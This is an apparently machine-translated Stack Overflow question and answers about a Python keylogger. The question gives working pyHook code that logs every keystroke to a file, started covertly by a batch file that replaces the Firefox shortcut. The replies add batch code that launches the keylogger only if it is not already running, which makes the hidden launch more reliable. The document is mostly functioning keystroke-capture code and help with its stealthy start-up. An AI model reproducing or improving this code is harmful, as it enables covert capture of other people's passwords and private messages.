2014-05-12 128 views
0

我在this guy的教程後面做了一個簡單的Python鍵盤記錄程序。該.pyw文件如下:如果它已經在運行,請不要運行python腳本

import pyHook, pythoncom, sys, logging 

file_log = 'C:\\Python27\\logger.txt' 

def OnKeyboardEvent(event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10,chr(event.Ascii)) 
    return True 

hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 

它巧妙地運行,當我使用Firefox,因爲Firefox的快捷方式調用其中包含一個批處理文件:

@echo off 
tasklist /FI "IMAGENAME eq c:\Python27\keylogger.pyw" 2>NUL | find /I /N "c:\Python27\keylogger.pyw">NUL 
if not "%ERRORLEVEL%"=="0" start "" "c:\Python27\keylogger.pyw" #doesn't work 

start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe" 

我的問題是,如果我使用Firefox不止一次(這經常發生),這個腳本再次運行並重復自身,所以我在日誌文本文件中得到這些結果。

g 
g 
o 
o 
o 
o 
g 
g 
l 
l 
e 
e 

我需要一些if條件不允許此腳本運行,如果它已經運行。

+0

這裏是如何檢查的過程是通過批處理腳本運行http://stackoverflow.com/questions/162291/後如何檢查,如果一個進程正在運行,通過一個批處理腳本可能會幫助 – alex

+3

看到:http://stackoverflow.com/questions/489861/locking-a-file-in -python –

回答

0

試試這個:

@echo off 
for /f "tokens=1 delims= " %%a in ('tasklist /v ^| findstr "keylogger"') do set running_check=%%a 
if not defined running_check start "" "c:\Python27\keylogger.pyw" 
start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe" 

編輯:固定的for循環

+0

這不起作用的朋友 – khaverim

+0

嘗試給你的python腳本一個標題,並用該標題字符串替換'keylogger' – Alex